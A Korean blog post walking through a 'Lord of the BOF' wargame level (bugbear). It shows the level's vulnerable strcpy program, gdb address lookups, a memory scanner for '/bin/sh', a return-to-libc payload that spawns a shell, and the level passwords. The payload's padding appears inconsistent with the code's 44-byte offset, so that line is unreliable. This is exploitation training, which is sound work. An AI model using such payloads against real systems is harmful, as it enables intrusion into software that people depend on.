yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 14번 풀이 (bugbear) 본문

wargame 풀이/LOB

LOB 14번 풀이 (bugbear)

yehey 2020. 12. 31. 23:23
id: bugbear
pw: new divide
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

  • execve 라이브러리 함수 사용
  • ret 주소가 execve 함수 주소와 같지 않으면 종료
  • 힌트: RTL

이전 문제와 같은 RTL 기법을 이용해서 공격을 수행한다.

우선 ret 주소에 넣을 execve 함수 주소를 알아내보려고 giant 파일을 복사해서 gdb로 실행해보았다.

 

main 함수 적절한 곳에 breakpoint를 걸고 A를 48개 입력했을 때, 어셈블리어에서 볼 수 있듯이 ebp-60과 ebp-56이 같은지를 비교하고 있었다. ebp-60에는 입력 값 중 ret 자리에 해당하는 값인 AAAA가 들어있고 ebp-56이 코드 상에서 execve_addr 변수 값이다. 

그래서 이 값을 ret에 넣고 실행을 시도했는데 "You must use execve!"만 출력되었다.

즉, 원본 giant 에서 비교한 값과 복사해서 비교한 값은 차이가 있다는 말이었다.

giant 코드에서 /home/giant/assassin 파일을 가져오는데, 복사된 giant 실행 파일은 giant 권한이 없어서 popen이 제대로 실행되지 않았다.

따라서 다른 방법을 찾아야 했다. 

 

execve 함수는 system 함수와 같은 라이브러리 함수라는 것을 알고 있다.

앞선 문제에서는 system 함수의 주소를 gdb를 이용해 구할 수 있었고 이는 복사된 파일과 원본 파일에서 같은 값으로 출력되었다.

그럼 execve 함수도 system 함수와 같게 구할 수 있지 않을까?

 

다시 복사된 파일로 돌아와서 main 적절한 곳에 breakpoint를 걸어주고 실행했다.

그리고 라이브러리 함수 system과 execve의 주소를 얻었다.

다음에는 system 함수에 넣어줄 '/bin/sh'의 주소를 알아내는 코드를 작성해보자

코드는 13번 문제(darkknight)와 같다.

#include <stdio.h>

int main(){
        long shell=0x40058ae0;
        while(memcmp((void*)shell,"/bin/sh",8)){
                shell++;
        }
        printf("'/bin/sh' addr: %x\n",shell);
        return 0;
}

실행해서 얻은 '/bin/sh'의 주소는 0x400fbff9이다. (라이브러리 함수 주소와 '/bin/sh'의 주소는 변하지 않는 것 같다.)

 

이제 payload를 작성해보자.

 

execve 3번째 인자에는 포인터 배열이 들어가야하는데 배열의 마지막에는 NULL이 들어가야 하기 때문에 스택에서 값이 0x00000000인 주소를 넣어준다.

 

payload: ./giant "`python -c 'print "A"*4+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"

('0x0a'가 개행 문자로 인식되는 문제가 있어서 파이썬 스크립트 코드를 ""로 감싸주어야 한다.)

 

 

giant의 pw: "one step closer"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 16번 풀이 (assassin)  (0) 2021.01.02
LOB 15번 풀이 (giant)  (0) 2021.01.01
LOB 13번 풀이 (darkknight)  (0) 2020.12.30
LOB 12번 풀이 (golem)  (0) 2020.12.30
LOB 11번 풀이 (skeleton)  (0) 2020.11.24
Comments